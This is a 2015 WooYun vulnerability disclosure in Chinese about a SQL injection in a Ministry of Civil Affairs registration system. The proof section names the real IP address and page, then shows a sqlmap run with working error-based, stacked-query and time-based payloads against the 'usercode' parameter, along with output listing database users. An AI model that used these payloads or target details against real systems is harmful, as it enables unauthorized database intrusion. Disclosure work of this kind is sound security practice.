当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0106133

漏洞标题:中华人民共和国民政部报名系统注入系统权限

相关厂商:中国政府

漏洞作者: 路人甲

提交时间:2015-04-06 10:12

修复时间:2015-05-25 11:38

公开时间:2015-05-25 11:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-06: 细节已通知厂商并且等待厂商处理中
2015-04-10: 厂商已经确认,细节仅向厂商公开
2015-04-20: 细节向核心白帽子及相关领域专家公开
2015-04-30: 细节向普通白帽子公开
2015-05-10: 细节向实习白帽子公开
2015-05-25: 细节向公众公开

简要描述:

详细说明:

http://202.108.98.98//pcheck.asp 存在post注入

漏洞证明:

root@jack:~# sqlmap -r /root/gov.txt --users
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:14:19
[15:14:19] [INFO] parsing HTTP request from '/root/gov.txt'
[15:14:19] [INFO] resuming back-end DBMS 'microsoft sql server'
[15:14:19] [INFO] testing connection to the target URL
[15:14:19] [INFO] heuristics detected web page charset 'GB2312'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: usercode
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: usercode=a' AND 2591=CONVERT(INT,(SELECT CHAR(113)+CHAR(104)+CHAR(111)+CHAR(111)+CHAR(113)+(SELECT (CASE WHEN (2591=2591) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(121)+CHAR(106)+CHAR(102)+CHAR(113))) AND 'MUpy'='MUpy&username=a&usfzh=a
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: usercode=a'; WAITFOR DELAY '0:0:5'--&username=a&usfzh=a
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: usercode=a' WAITFOR DELAY '0:0:5'--&username=a&usfzh=a
---
[15:14:19] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2000
[15:14:19] [INFO] fetching database users
[15:14:19] [INFO] the SQL query used returns 3 entries
[15:14:20] [INFO] retrieved: BUILTIN\\\\Administrators
[15:14:20] [INFO] retrieved: sa
database management system users [3]:
[*] BUILTIN\\Administrators
[*] sa

修复方案:

。。。。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-04-10 11:38

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向国家上级信息安全协调机构上报,由其后续协调网站管理单位处置.

最新状态:

暂无


漏洞评价:

评论